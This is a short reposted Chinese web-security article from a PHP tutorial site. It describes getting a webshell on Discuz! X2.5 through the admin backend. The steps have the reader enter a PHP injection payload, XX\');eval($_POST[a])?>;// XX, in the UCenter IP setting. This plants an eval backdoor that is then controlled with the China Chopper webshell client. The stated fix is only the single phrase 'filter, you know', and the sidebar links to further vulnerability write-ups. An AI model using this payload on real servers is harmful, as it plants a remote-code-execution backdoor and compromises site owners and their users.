Discuz!X2.5最新版后台管理员权限Getshell及修复 - 网-自学php网

主页 > 后端 > 网站安全 >

Discuz!X2.5最新版后台管理员权限Getshell及修复 - 网

来源：自学PHP网时间：2015-04-17 12:00 作者：阅读:次

[导读] Discuz!X2.5最新版后台管理员权限Getshell。1.在后台--站长--Ucenter设置处设置UcenterIP为XX\\#39;);eval($_POST[a])?;// XX2.发现管理页面代码出来了3.上菜刀！4.看一下源码，哦，原来是这样的！修复方...

Discuz!X2.5最新版后台管理员权限Getshell。

1.在后台-->站长-->Ucenter设置处设置UcenterIP为

XX\\');eval($_POST[a])?>;// XX

2.发现管理页面代码出来了

3.上菜刀！

4.看一下源码，哦，原来是这样的！

修复方案：

过滤你懂的

开心网android客户端暴力破解漏洞 - 网站安全 - 自

.net文件上传漏洞代码实例及修复方案 - 网站安全

最新评论

加载更多~~

添加评论

更多文章推荐

SinaEditor二次开发JSP版本上传漏洞简单分析 - 网站 2015-04-17
分析腾讯网页登陆的加密机制 - 网站安全 - 自学 2015-04-17
不用工具巧妙破解Windows XP登陆口令 - Windows操作系 2015-04-17
Discuz X1.5暴WEB路径漏洞及修复 - 网站安全 - 自学 2015-04-17
大旗网论坛和精品体验子站SQL注入 - 网站安全 2015-04-17
系统管理员必须知道的PHP安全实践 - 网站安全 2015-04-17
Thaiweb远程文件sql注入漏洞0day及修复 - 网站安全 2015-04-17
espcms后台getshell-2 - 网站安全 - 自学php 2015-04-17
discuz X2.5 最新漏洞,一个被忽视的物理路径泄漏 2015-04-17
台湾民航飞行员协会SQL注入导致信息泄露 - 网站 2015-04-17

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com



添加评论